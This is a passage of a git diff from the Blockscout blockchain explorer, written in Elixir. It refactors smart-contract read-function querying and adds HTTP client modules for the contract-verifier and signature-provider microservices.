@spec query_contract( String.t(), String.t() | nil, term(), functions(), - true | false + true | false, + Keyword.t() ) :: functions_results() - def query_contract(contract_address, from, abi, functions, leave_error_as_map) do - query_contract_inner(contract_address, abi, functions, nil, from, leave_error_as_map) + def query_contract(contract_address, from \\ nil, abi, functions, leave_error_as_map, options \\ []) do + query_contract_inner(contract_address, abi, functions, nil, from, leave_error_as_map, options) end @spec query_contract_by_block_number( @@ -138,21 +142,21 @@ defmodule Explorer.SmartContract.Reader do query_contract_inner(contract_address, abi, functions, block_number, nil, leave_error_as_map) end - defp query_contract_inner(contract_address, abi, functions, block_number, from, leave_error_as_map) do + defp query_contract_inner(contract_address, abi, functions, block_number, from, leave_error_as_map, options \\ []) do requests = functions |> Enum.map(fn {method_id, args} -> %{ contract_address: contract_address, - from: from, method_id: method_id, args: args, block_number: block_number } + |> (&if(!is_nil(from) && from != "", do: Map.put(&1, :from, from), else: &1)).() end) requests - |> query_contracts(abi, [], leave_error_as_map) + |> query_contracts(abi, [], leave_error_as_map, options) |> Enum.zip(requests) |> Enum.into(%{}, fn {response, request} -> {request.method_id, response} @@ -178,9 +182,14 @@ defmodule Explorer.SmartContract.Reader do EthereumJSONRPC.execute_contract_functions(requests, abi, json_rpc_named_arguments) end - @spec query_contracts([Contract.call()], term(), true | false) :: [Contract.call_result()] - def query_contracts(requests, abi, [], leave_error_as_map) do - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + @spec query_contracts([Contract.call()], term(), contract_call_options(), true | false, Keyword.t()) :: [ + Contract.call_result() + ] + def query_contracts(requests, abi, [], leave_error_as_map, options \\ []) do + json_rpc_named_arguments = + :explorer + |> Application.get_env(:json_rpc_named_arguments) + |> Keyword.merge(options) EthereumJSONRPC.execute_contract_functions(requests, abi, json_rpc_named_arguments, leave_error_as_map) end @@ -194,7 +203,7 @@ defmodule Explorer.SmartContract.Reader do ## Examples - $ Explorer.SmartContract.Reader.read_only_functions("0x798465571ae21a184a272f044f991ad1d5f87a3f") + $ Explorer.SmartContract.Reader.read_only_functions(%SmartContract{...}) => [ %{ "constant" => true, @@ -216,85 +225,87 @@ defmodule Explorer.SmartContract.Reader do } ] """ - @spec read_only_functions(Hash.t()) :: [%{}] - def read_only_functions(contract_address_hash) do - abi = - contract_address_hash - |> Chain.address_hash_to_smart_contract() - |> Map.get(:abi) + @spec read_only_functions(SmartContract.t(), Hash.t(), String.t() | nil, Keyword.t()) :: [%{}] + def read_only_functions(smart_contract, contract_address_hash, from, options \\ []) + def read_only_functions(%SmartContract{abi: abi}, contract_address_hash, from, options) do case abi do nil -> [] _ -> - abi_with_method_id = get_abi_with_method_id(abi) - - abi_with_method_id - |> Enum.filter(&Helper.queriable_method?(&1)) - |> Enum.map(&fetch_current_value_from_blockchain(&1, abi_with_method_id, contract_address_hash, false)) + read_only_functions_from_abi_with_sender(abi, contract_address_hash, from, options) end end - def read_only_functions_proxy(contract_address_hash, implementation_address_hash_string) do - implementation_abi = Chain.get_implementation_abi(implementation_address_hash_string) + def read_only_functions(nil, _, _, _), do: [] + + def read_only_functions_proxy(contract_address_hash, implementation_address_hash_string, from, options \\ []) do + implementation_abi = SmartContract.get_abi(implementation_address_hash_string, options) case implementation_abi do nil -> [] _ -> - implementation_abi_with_method_id = get_abi_with_method_id(implementation_abi) - - implementation_abi_with_method_id - |> Enum.filter(&Helper.queriable_method?(&1)) - |> Enum.map( - &fetch_current_value_from_blockchain(&1, implementation_abi_with_method_id, contract_address_hash, false) - ) + read_only_functions_from_abi_with_sender(implementation_abi, contract_address_hash, from, options) end end @doc """ - Returns abi for not queriable functions of proxy's implementation which can be considered as read-only + Returns abi for not queryable functions of proxy's implementation which can be considered as read-only """ @spec read_functions_required_wallet_proxy(String.t()) :: [%{}] def read_functions_required_wallet_proxy(implementation_address_hash_string) do - implementation_abi = Chain.get_implementation_abi(implementation_address_hash_string) + implementation_abi = SmartContract.get_abi(implementation_address_hash_string) case implementation_abi do nil -> [] _ -> - implementation_abi_with_method_id = get_abi_with_method_id(implementation_abi) - - implementation_abi_with_method_id - |> Enum.filter(&Helper.read_with_wallet_method?(&1)) + read_functions_required_wallet_from_abi(implementation_abi) end end @doc """ - Returns abi for not queriable functions of the smart contract which can be considered as read-only + Returns abi for not queryable functions of the smart contract which can be considered as read-only """ - @spec read_functions_required_wallet(Hash.t()) :: [%{}] - def read_functions_required_wallet(contract_address_hash) do - abi = - contract_address_hash - |> Chain.address_hash_to_smart_contract() - |> Map.get(:abi) - + @spec read_functions_required_wallet(SmartContract.t()) :: [%{}] + def read_functions_required_wallet(%SmartContract{abi: abi}) do case abi do nil -> [] _ -> - abi_with_method_id = get_abi_with_method_id(abi) - - abi_with_method_id - |> Enum.filter(&Helper.read_with_wallet_method?(&1)) + read_functions_required_wallet_from_abi(abi) end end + def read_functions_required_wallet(nil), do: [] + + def read_only_functions_from_abi_with_sender(abi, contract_address_hash, from, options \\ []) + + def read_only_functions_from_abi_with_sender([_ | _] = abi, contract_address_hash, from, options) do + abi_with_method_id = get_abi_with_method_id(abi) + + abi_with_method_id + |> Enum.filter(&Helper.queryable_method?(&1)) + |> fetch_current_values_from_blockchain(abi_with_method_id, contract_address_hash, false, options, from) + end + + def read_only_functions_from_abi_with_sender(_, _, _, _), do: [] + + def read_functions_required_wallet_from_abi([_ | _] = abi) do + abi_with_method_id = get_abi_with_method_id(abi) + + abi_with_method_id + |> Enum.reject(&Helper.queryable_method?(&1)) + |> Enum.filter(&Helper.read_with_wallet_method?(&1)) + end + + def read_functions_required_wallet_from_abi(_), do: [] + def get_abi_with_method_id(abi) do abi |> Enum.map(fn method -> @@ -343,121 +354,338 @@ defmodule Explorer.SmartContract.Reader do "tuple[#{tuple_types}]" end - def fetch_current_value_from_blockchain(function, abi, contract_address_hash, leave_error_as_map) do - values = - case function do - %{"inputs" => []} -> - method_id = function["method_id"] - args = function["inputs"] - outputs = function["outputs"] + @spec fetch_current_values_from_blockchain( + any(), + [%{optional(binary()) => any()}], + Explorer.Chain.Hash.t(), + boolean(), + keyword(), + nil | binary() + ) :: [SmartContract.function_description()] + def fetch_current_values_from_blockchain( + functions, + abi, + contract_address_hash, + leave_error_as_map, + options, + from \\ nil + ) do + initial_methods_id_order = Enum.map(functions, &Map.get(&1, "method_id")) + + %{to_be_fetched: to_be_fetched, method_id_to_outputs: method_id_to_outputs, unchanged: unchanged} = + Enum.reduce( + functions, + %{to_be_fetched: %{}, method_id_to_outputs: %{}, unchanged: %{}}, + fn function, + %{ + to_be_fetched: to_be_fetched, + unchanged: unchanged, + method_id_to_outputs: method_id_to_outputs + } -> + case function do + %{"inputs" => []} -> + [%ABI.FunctionSelector{returns: returns, method_id: _method_id}] = ABI.parse_specification([function]) + + outputs = extract_outputs(returns) + + %{ + to_be_fetched: Map.put(to_be_fetched, function["method_id"], function), + unchanged: unchanged, + method_id_to_outputs: Map.put(method_id_to_outputs, function["method_id"], {outputs, function}) + } + + _ -> + %{ + to_be_fetched: to_be_fetched, + unchanged: + Map.put( + unchanged, + function["method_id"], + Map.put(function, "abi_outputs", Map.get(function, "outputs", [])) + ), + method_id_to_outputs: method_id_to_outputs + } + end + end + ) - contract_address_hash - |> query_verified_contract(%{method_id => normalize_args(args)}, leave_error_as_map, abi) - |> link_outputs_and_values(outputs, method_id) + methods = to_be_fetched |> Enum.map(fn {method_id, _function} -> {method_id, []} end) |> Enum.into(%{}) - _ -> - link_outputs_and_values(%{}, Map.get(function, "outputs", []), function["method_id"]) - end + res = + contract_address_hash + |> query_verified_contract(methods, from, leave_error_as_map, abi, options) + + method_id_to_abi_with_fetched_value = + res + |> Enum.map(fn {method_id, _result} -> + {outputs, function} = method_id_to_outputs[method_id] + + names = outputs_to_list(function["outputs"]) + + outputs = link_outputs_and_values(res, outputs, method_id) + function = to_be_fetched[method_id] - Map.replace!(function, "outputs", values) + {method_id, + function + |> Map.replace!("outputs", outputs) + |> Map.put("abi_outputs", Map.get(function, "outputs", [])) + |> Map.put("names", names)} + end) + |> Enum.into(%{}) + + Enum.map(initial_methods_id_order, fn method_id -> + unchanged[method_id] || method_id_to_abi_with_fetched_value[method_id] + end) end @doc """ Method performs query of read functions of a smart contract. - `type` could be :proxy or :reqular - if ethereumJSONRPC will return some errors it will represented as map + `type` could be :proxy or :regular + `from` is a address of a function caller """ - @spec query_function_with_names(Hash.t(), %{method_id: String.t(), args: [term()] | nil}, atom()) :: %{ - :names => [any()], - :output => [%{}] - } - def query_function_with_names(contract_address_hash, %{method_id: method_id, args: args}, type) do - outputs = query_function(contract_address_hash, %{method_id: method_id, args: args}, type, true) - names = parse_names_from_abi(get_abi(contract_address_hash, type), method_id) + @spec query_function_with_names( + Hash.t(), + %{method_id: String.t(), args: [term()] | nil}, + :regular | :proxy, + String.t() | nil, + [], + boolean() + ) :: %{:names => [any()], :output => [%{}]} + def query_function_with_names(contract_address_hash, params, type, from, abi, leave_error_as_map, options \\ []) + + def query_function_with_names( + contract_address_hash, + %{method_id: method_id, args: args}, + :regular, + from, + abi, + leave_error_as_map, + options + ) do + outputs = + query_function_with_custom_abi_inner( + contract_address_hash, + method_id, + args || [], + from, + leave_error_as_map, + abi, + options + ) + + names = parse_names_from_abi(abi, method_id) + %{output: outputs, names: names} + end + + def query_function_with_names( + contract_address_hash, + %{method_id: method_id, args: args}, + :proxy, + from, + _abi, + leave_error_as_map, + options + ) do + abi = get_abi(contract_address_hash, :proxy, options) + + outputs = + query_function_with_custom_abi_inner( + contract_address_hash, + method_id, + args || [], + from, + leave_error_as_map, + abi + ) + + names = parse_names_from_abi(abi, method_id) %{output: outputs, names: names} end @doc """ Method performs query of read functions of a smart contract. - `type` could be :proxy or :reqular + `type` could be :proxy or :regular `from` is a address of a function caller """ - @spec query_function_with_names( + @spec query_function_with_names_custom_abi( Hash.t(), %{method_id: String.t(), args: [term()] | nil}, - atom(), - String.t() + String.t(), + [%{}], + Keyword.t() ) :: %{:names => [any()], :output => [%{}]} - def query_function_with_names(contract_address_hash, %{method_id: method_id, args: args}, type, from) do - outputs = query_function(contract_address_hash, %{method_id: method_id, args: args}, type, from, true) - names = parse_names_from_abi(get_abi(contract_address_hash, type), method_id) + def query_function_with_names_custom_abi( + contract_address_hash, + %{method_id: method_id, args: args}, + from, + custom_abi, + options \\ [] + ) do + outputs = + query_function_with_custom_abi( + contract_address_hash, + %{method_id: method_id, args: args}, + from, + true, + custom_abi, + options + ) + + names = parse_names_from_abi(custom_abi, method_id) %{output: outputs, names: names} end @doc """ Fetches the blockchain value of a function that requires arguments. - """ - @spec query_function(String.t(), %{method_id: String.t(), args: nil}, atom(), true | false) :: [%{}] - def query_function(contract_address_hash, %{method_id: method_id, args: nil}, type, leave_error_as_map) do - query_function(contract_address_hash, %{method_id: method_id, args: []}, type, leave_error_as_map) - end - @spec query_function(Hash.t(), %{method_id: String.t(), args: [term()]}, atom(), true | false) :: [%{}] - def query_function(contract_address_hash, %{method_id: method_id, args: args}, type, leave_error_as_map) do - query_function_inner(contract_address_hash, method_id, args, type, nil, leave_error_as_map) - end - - @spec query_function(String.t(), %{method_id: String.t(), args: nil}, atom(), String.t() | nil, true | false) :: [%{}] - def query_function(contract_address_hash, %{method_id: method_id, args: nil}, type, from, leave_error_as_map) do - query_function(contract_address_hash, %{method_id: method_id, args: []}, type, from, leave_error_as_map) - end - - @spec query_function(Hash.t(), %{method_id: String.t(), args: [term()]}, atom(), String.t() | nil, true | false) :: [ + ! IMPORTANT: if you use several times query_function/(5,6) for the same smart contract it's recommended to use query_function_with_custom_abi/5 in order to avoid fetching the same smart contract from DB several times. + """ + @spec query_function( + Hash.t(), + %{method_id: String.t(), args: [term()] | [] | nil}, + atom(), + String.t() | nil, + true | false, + [api?] + ) :: [ %{} ] - def query_function(contract_address_hash, %{method_id: method_id, args: args}, type, from, leave_error_as_map) do - query_function_inner(contract_address_hash, method_id, args, type, from, leave_error_as_map) + def query_function( + contract_address_hash, + %{method_id: method_id, args: args}, + type, + from, + leave_error_as_map, + options \\ [] + ) do + query_function_inner(contract_address_hash, method_id, args || [], type, from, leave_error_as_map, options) end - @spec query_function_inner(Hash.t(), String.t(), [term()], atom(), String.t() | nil, true | false) :: [%{}] - defp query_function_inner(contract_address_hash, method_id, args, type, from, leave_error_as_map) do - abi = get_abi(contract_address_hash, type) + @spec query_function_inner(Hash.t(), String.t(), [term()], atom(), String.t() | nil, true | false, [api?]) :: [%{}] + defp query_function_inner(contract_address_hash, method_id, args, type, from, leave_error_as_map, options) do + abi = get_abi(contract_address_hash, type, options) parsed_final_abi = abi |> ABI.parse_specification() - %{outputs: outputs, method_id: method_id} = proccess_abi(parsed_final_abi, method_id) + case process_abi(parsed_final_abi, method_id) do + %{outputs: outputs, method_id: method_id} -> + query_contract_and_link_outputs(contract_address_hash, args, from, abi, outputs, method_id, leave_error_as_map) - query_contract_and_link_outputs(contract_address_hash, args, from, abi, outputs, method_id, leave_error_as_map) + {:error, message} -> + {:error, message} + end end - defp proccess_abi(nil, _method_id), do: nil + @spec query_function_with_custom_abi( + Hash.t(), + %{method_id: String.t(), args: [term()] | nil | []}, + String.t() | nil, + true | false, + [%{}], + Keyword.t() + ) :: [ + %{} + ] + def query_function_with_custom_abi( + contract_address_hash, + %{method_id: method_id, args: args}, + from, + leave_error_as_map, + custom_abi, + options \\ [] + ) do + query_function_with_custom_abi_inner( + contract_address_hash, + method_id, + args || [], + from, + leave_error_as_map, + custom_abi, + options + ) + end + + @spec query_function_with_custom_abi_inner( + Hash.t(), + String.t(), + [term()], + String.t() | nil, + true | false, + [%{}], + Keyword.t() + ) :: [ + %{} + ] + defp query_function_with_custom_abi_inner( + contract_address_hash, + method_id, + args, + from, + leave_error_as_map, + custom_abi, + options \\ [] + ) do + parsed_abi = + custom_abi + |> ABI.parse_specification() + + case process_abi(parsed_abi, method_id) do + %{outputs: outputs, method_id: method_id} -> + query_contract_and_link_outputs( + contract_address_hash, + args, + from, + custom_abi, + outputs, + method_id, + leave_error_as_map, + options + ) + + {:error, message} -> + {:error, message} + end + end + + defp process_abi([], _method_id), do: nil - defp proccess_abi(abi, method_id) do + defp process_abi(abi, method_id) do function_object = find_function_by_method(abi, method_id) - %ABI.FunctionSelector{returns: returns, method_id: method_id} = function_object - outputs = extract_outputs(returns) - %{outputs: outputs, method_id: method_id} + if function_object do + %ABI.FunctionSelector{returns: returns, method_id: method_id} = function_object + outputs = extract_outputs(returns) + + %{outputs: outputs, method_id: method_id} + else + {:error, "method_id does not exist"} + end end - defp query_contract_and_link_outputs(contract_address_hash, args, from, abi, outputs, method_id, leave_error_as_map) do + defp query_contract_and_link_outputs( + contract_address_hash, + args, + from, + abi, + outputs, + method_id, + leave_error_as_map, + options \\ [] + ) do contract_address_hash - |> query_verified_contract(%{method_id => normalize_args(args)}, from, leave_error_as_map, abi) + |> query_verified_contract(%{method_id => normalize_args(args)}, from, leave_error_as_map, abi, options) |> link_outputs_and_values(outputs, method_id) end - defp get_abi(contract_address_hash, type) do - abi = - contract_address_hash - |> Chain.address_hash_to_smart_contract() - |> Map.get(:abi) + defp get_abi(contract_address_hash, type, options) do + {contract, _} = SmartContract.address_hash_to_smart_contract_with_bytecode_twin(contract_address_hash, options) if type == :proxy do - Chain.get_implementation_abi_from_proxy(contract_address_hash, abi) + Proxy.get_implementation_abi_from_proxy(contract, options) else - abi + contract.abi end end @@ -534,6 +762,8 @@ defmodule Explorer.SmartContract.Reader do end end + defp parse_item(nil), do: nil + defp parse_item("true"), do: true defp parse_item("false"), do: false @@ -632,6 +862,27 @@ defmodule Explorer.SmartContract.Reader do Map.put_new(output, "value", Encoder.unescape(value)) end + defp new_value(%{"type" => "tuple" <> _types = type} = output, values, index) do + value = Enum.at(values, index) + + result = + if String.ends_with?(type, "[]") do + value + |> Enum.map(fn tuple -> new_value(%{"type" => String.slice(type, 0..-3//1)}, [tuple], 0) end) + |> flat_arrays_map() + else + value + |> zip_tuple_values_with_types(type) + |> Enum.map(fn {type, part_value} -> + new_value(%{"type" => type}, [part_value], 0) + end) + |> flat_arrays_map() + |> List.to_tuple() + end + + Map.put_new(output, "value", result) + end + defp new_value(output, [value], _index) do Map.put_new(output, "value", value) end @@ -640,6 +891,76 @@ defmodule Explorer.SmartContract.Reader do Map.put_new(output, "value", Enum.at(values, index)) end + defp flat_arrays_map(%{"value" => value}) do + flat_arrays_map(value) + end + + defp flat_arrays_map(value) when is_list(value) do + Enum.map(value, &flat_arrays_map/1) + end + + defp flat_arrays_map(value) when is_tuple(value) do + value + |> Tuple.to_list() + |> flat_arrays_map() + |> List.to_tuple() + end + + defp flat_arrays_map(value) do + value + end + + @spec zip_tuple_values_with_types(tuple, binary | tuple()) :: [{binary, any}] + def zip_tuple_values_with_types(value, {:tuple, tuple_types}) do + values_list = + value + |> Tuple.to_list() + + Enum.zip(tuple_types, values_list) + end + + def zip_tuple_values_with_types(value, type) do + types_string = + type + |> String.slice(6..-2//1) + + types = + if String.trim(types_string) == "" do + [] + else + types_string + |> String.graphemes() + end + + tuple_types = + types + |> Enum.reduce( + {[""], 0}, + fn + ",", {types_acc, 0} -> + {["" | types_acc], 0} + + char, {[acc | types_acc], bracket_stack} -> + new_bracket_stack = + case char do + "[" -> bracket_stack + 1 + "]" -> bracket_stack - 1 + _ -> bracket_stack + end + + {[acc <> char | types_acc], new_bracket_stack} + end + ) + |> elem(0) + |> Enum.reverse() + + values_list = + value + |> Tuple.to_list() + + Enum.zip(tuple_types, values_list) + end + @spec bytes_to_string(<<_::_*8>>) :: String.t() defp bytes_to_string(value) do if value do diff --git a/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface.ex b/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface.ex index 87bc56b03c17..43c6f4befd28 100644 --- a/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface.ex +++ b/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface.ex @@ -1,124 +1,6 @@ defmodule Explorer.SmartContract.RustVerifierInterface do @moduledoc """ - Adapter for contracts verification with https://github.com/blockscout/blockscout-rs/tree/main/verification + Adapter for contracts verification with https://github.com/blockscout/blockscout-rs/blob/main/smart-contract-verifier """ - alias HTTPoison.Response - require Logger - - @post_timeout :infinity - @request_error_msg "Error while sending request to verification microservice" - - def verify_multi_part( - %{ - "creation_bytecode" => _, - "deployed_bytecode" => _, - "compiler_version" => _, - "sources" => _, - "evm_version" => _, - "optimization_runs" => _, - "contract_libraries" => _ - } = body - ) do - http_post_request(multiple_files_verification_url(), body) - end - - def verify_standard_json_input( - %{ - "creation_bytecode" => _, - "deployed_bytecode" => _, - "compiler_version" => _, - "input" => _ - } = body - ) do - http_post_request(standard_json_input_verification_url(), body) - end - - def http_post_request(url, body) do - headers = [{"Content-Type", "application/json"}] - - case HTTPoison.post(url, Jason.encode!(body), headers, recv_timeout: @post_timeout) do - {:ok, %Response{body: body, status_code: 200}} -> - proccess_verifier_response(body) - - {:ok, %Response{body: body, status_code: _}} -> - proccess_verifier_response(body) - - {:error, error} -> - Logger.error(fn -> - [ - "Error while sending request to verification microservice url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", - inspect(error, limit: :infinity, printable_limit: :infinity) - ] - end) - - {:error, @request_error_msg} - end - end - - def http_get_request(url) do - case HTTPoison.get(url) do - {:ok, %Response{body: body, status_code: 200}} -> - proccess_verifier_response(body) - - {:ok, %Response{body: body, status_code: _}} -> - {:error, body} - - {:error, error} -> - Logger.error(fn -> - [ - "Error while sending request to verification microservice url: #{url}: ", - inspect(error, limit: :infinity, printable_limit: :infinity) - ] - end) - - {:error, @request_error_msg} - end - end - - def get_versions_list do - http_get_request(versions_list_url()) - end - - def proccess_verifier_response(body) when is_binary(body) do - case Jason.decode(body) do - {:ok, decoded} -> - proccess_verifier_response(decoded) - - _ -> - {:error, body} - end - end - - def proccess_verifier_response(%{"status" => zero, "result" => result}) when zero in ["0", 0] do - {:ok, result} - end - - def proccess_verifier_response(%{"status" => one, "message" => error}) when one in ["1", 1] do - {:error, error} - end - - def proccess_verifier_response(%{"versions" => versions}), do: {:ok, versions} - - def proccess_verifier_response(other), do: {:error, other} - - def multiple_files_verification_url, do: "#{base_api_url()}" <> "/solidity/verify/multiple-files" - - def standard_json_input_verification_url, do: "#{base_api_url()}" <> "/solidity/verify/standard-json" - - def versions_list_url, do: "#{base_api_url()}" <> "/solidity/versions" - - def base_api_url, do: "#{base_url()}" <> "/api/v1" - - def base_url do - url = Application.get_env(:explorer, __MODULE__)[:service_url] - - if String.ends_with?(url, "/") do - url - |> String.slice(0..(String.length(url) - 2)) - else - url - end - end - - def enabled?, do: Application.get_env(:explorer, __MODULE__)[:enabled] + use Explorer.SmartContract.RustVerifierInterfaceBehaviour end diff --git a/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface_behaviour.ex b/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface_behaviour.ex new file mode 100644 index 000000000000..ff9774911a28 --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/rust_verifier_interface_behaviour.ex @@ -0,0 +1,234 @@ +defmodule Explorer.SmartContract.RustVerifierInterfaceBehaviour do + @moduledoc """ + This behaviour module was created in order to add possibility to extend the functionality of RustVerifierInterface + """ + defmacro __using__(_) do + # credo:disable-for-next-line + quote([]) do + alias Explorer.HttpClient + alias Explorer.Utility.Microservice + require Logger + + @post_timeout :timer.minutes(5) + @request_error_msg "Error while sending request to verification microservice" + + def verify_multi_part( + %{ + "bytecode" => _, + "bytecodeType" => _, + "compilerVersion" => _, + "sourceFiles" => _, + "evmVersion" => _, + "optimizationRuns" => _, + "libraries" => _ + } = body, + metadata + ) do + http_post_request(solidity_multiple_files_verification_url(), append_metadata(body, metadata), true) + end + + def verify_standard_json_input( + %{ + "bytecode" => _, + "bytecodeType" => _, + "compilerVersion" => _, + "input" => _ + } = body, + metadata + ) do + http_post_request(solidity_standard_json_verification_url(), append_metadata(body, metadata), true) + end + + def zksync_verify_standard_json_input( + %{ + "code" => _, + "solcCompiler" => _, + "zkCompiler" => _, + "input" => _ + } = body, + metadata + ) do + http_post_request(solidity_standard_json_verification_url(), append_metadata(body, metadata), true) + end + + def vyper_verify_multipart( + %{ + "bytecode" => _, + "bytecodeType" => _, + "compilerVersion" => _, + "sourceFiles" => _ + } = body, + metadata + ) do + http_post_request(vyper_multiple_files_verification_url(), append_metadata(body, metadata), true) + end + + def vyper_verify_standard_json( + %{ + "bytecode" => _, + "bytecodeType" => _, + "compilerVersion" => _, + "input" => _ + } = body, + metadata + ) do + http_post_request(vyper_standard_json_verification_url(), append_metadata(body, metadata), true) + end + + def http_post_request(url, body, is_verification_request?, options \\ []) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), maybe_put_api_key_header(headers, is_verification_request?), + recv_timeout: @post_timeout + ) do + {:ok, %{body: body, status_code: _}} -> + process_verifier_response(body, options) + + {:error, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to verification microservice url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + defp maybe_put_api_key_header(headers, false), do: headers + + defp maybe_put_api_key_header(headers, true) do + api_key = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour)[:api_key] + + if api_key do + [{"x-api-key", api_key} | headers] + else + headers + end + end + + def http_get_request(url) do + case HttpClient.get(url) do + {:ok, %{body: body, status_code: 200}} -> + process_verifier_response(body, []) + + {:ok, %{body: body, status_code: _}} -> + {:error, body} + + {:error, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to verification microservice url: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + def get_versions_list do + http_get_request(versions_list_url()) + end + + def vyper_get_versions_list do + http_get_request(vyper_versions_list_url()) + end + + def process_verifier_response(body, options) when is_binary(body) do + case Jason.decode(body) do + {:ok, decoded} -> + process_verifier_response(decoded, options) + + _ -> + {:error, body} + end + end + + def process_verifier_response(%{"status" => "SUCCESS", "source" => source}, _) do + {:ok, source} + end + + # zksync + def process_verifier_response(%{"verificationSuccess" => success}, _) do + {:ok, success} + end + + # zksync + def process_verifier_response(%{"verificationFailure" => %{"message" => error}}, _) do + {:error, error} + end + + # zksync + def process_verifier_response(%{"compilationFailure" => %{"message" => error}}, _) do + {:error, error} + end + + def process_verifier_response(%{"status" => "FAILURE", "message" => error}, _) do + {:error, error} + end + + def process_verifier_response(%{"compilerVersions" => versions}, _), do: {:ok, versions} + + # zksync + def process_verifier_response(%{"solcCompilers" => solc_compilers, "zkCompilers" => zk_compilers}, _), + do: {:ok, {solc_compilers, zk_compilers}} + + def process_verifier_response(other, res) do + {:error, other} + end + + # Uses url encoded ("%3A") version of ':', as ':' symbol breaks `Bypass` library during tests. + # https://github.com/PSPDFKit-labs/bypass/issues/122 + + def solidity_multiple_files_verification_url, + do: base_api_url() <> "/verifier/solidity/sources%3Averify-multi-part" + + def vyper_multiple_files_verification_url, + do: base_api_url() <> "/verifier/vyper/sources%3Averify-multi-part" + + def vyper_standard_json_verification_url, + do: base_api_url() <> "/verifier/vyper/sources%3Averify-standard-json" + + def solidity_standard_json_verification_url do + base_api_url() <> verifier_path() <> "/solidity/sources%3Averify-standard-json" + end + + def versions_list_url do + base_api_url() <> verifier_path() <> "/solidity/versions" + end + + defp verifier_path do + if Application.get_env(:explorer, :chain_type) == :zksync do + "/zksync-verifier" + else + "/verifier" + end + end + + def vyper_versions_list_url, do: base_api_url() <> "/verifier/vyper/versions" + + def base_api_url, do: "#{base_url()}" <> "/api/v2" + + def base_url do + Microservice.base_url(Explorer.SmartContract.RustVerifierInterfaceBehaviour) + end + + def enabled?, do: Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour)[:enabled] + + defp append_metadata(body, metadata) when is_map(body) do + body + |> Map.put("metadata", metadata) + end + end + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/sig_provider_interface.ex b/apps/explorer/lib/explorer/smart_contract/sig_provider_interface.ex new file mode 100644 index 000000000000..635763e66b97 --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/sig_provider_interface.ex @@ -0,0 +1,156 @@ +defmodule Explorer.SmartContract.SigProviderInterface do + @moduledoc """ + Adapter for decoding events and function calls with https://github.com/blockscout/blockscout-rs/tree/main/sig-provider + """ + + alias Explorer.HttpClient + alias Explorer.Utility.Microservice + require Logger + + @request_error_msg "Error while sending request to sig-provider" + @post_timeout :timer.seconds(60) + + @spec decode_function_call(map()) :: {:ok, list()} | {:error, any} + def decode_function_call(input) do + base_url = transaction_input_decode_url() + + url = + base_url + |> URI.parse() + |> Map.put(:query, URI.encode_query(%{"txInput" => to_string(input)})) + |> URI.to_string() + + http_get_request(url) + end + + @spec decode_event([String.t()], String.t()) :: {:ok, list()} | {:error, any} + def decode_event(topics, data) do + base_url = decode_event_url() + + url = + base_url + |> URI.parse() + |> Map.put( + :query, + URI.encode_query(%{"topics" => topics |> Enum.reject(&is_nil/1) |> Enum.join(","), "data" => to_string(data)}) + ) + |> URI.to_string() + + http_get_request(url) + end + + @doc """ + Decodes a batch of events by sending a POST request to /api/v1/abi/events:batch-get endpoint of the Sig-provider microservice. + + ## Parameters + + - `input`: A list of maps, where each map represents an event with the following keys: + - `:topics` (String.t()): The topics associated with the event. + - `:data` (String.t()): The data associated with the event. + + ## Returns + + - The response from the HTTP POST request. + + ## Example + + iex> decode_events_in_batch([ + ...> %{topics: "topic1,topic2", data: "data1"}, + ...> %{topics: "topic3,topic4", data: "data2"} + ...> ]) + {:ok, response} + + """ + @spec decode_events_in_batch([ + %{ + :topics => String.t(), + :data => String.t() + } + ]) :: {:ok, [map]} | {:error, any} + def decode_events_in_batch(input) do + url = decode_events_batch_url() + + body = %{ + :requests => input + } + + http_post_request(url, body) + end + + defp http_get_request(url) do + case HttpClient.get(url) do + {:ok, %{body: body, status_code: 200}} -> + process_sig_provider_response(body) + + {:ok, %{body: body, status_code: _}} -> + {:error, body} + + {:error, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to sig-provider url: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + defp http_post_request(url, body) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), headers, recv_timeout: @post_timeout) do + {:ok, %{body: body, status_code: 200}} -> + body |> Jason.decode() + + error -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to sig-provider url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + defp process_sig_provider_response(body) when is_binary(body) do + case Jason.decode(body) do + {:ok, decoded} -> + process_sig_provider_response(decoded) + + _ -> + {:error, body} + end + end + + defp process_sig_provider_response(results) when is_list(results), do: {:ok, results} + + defp process_sig_provider_response(other_responses), do: {:error, other_responses} + + defp transaction_input_decode_url, do: "#{base_api_url()}" <> "/function" + + defp decode_event_url, do: "#{base_api_url()}" <> "/event" + + # cspell:disable + defp decode_events_batch_url, do: "#{base_api_url()}" 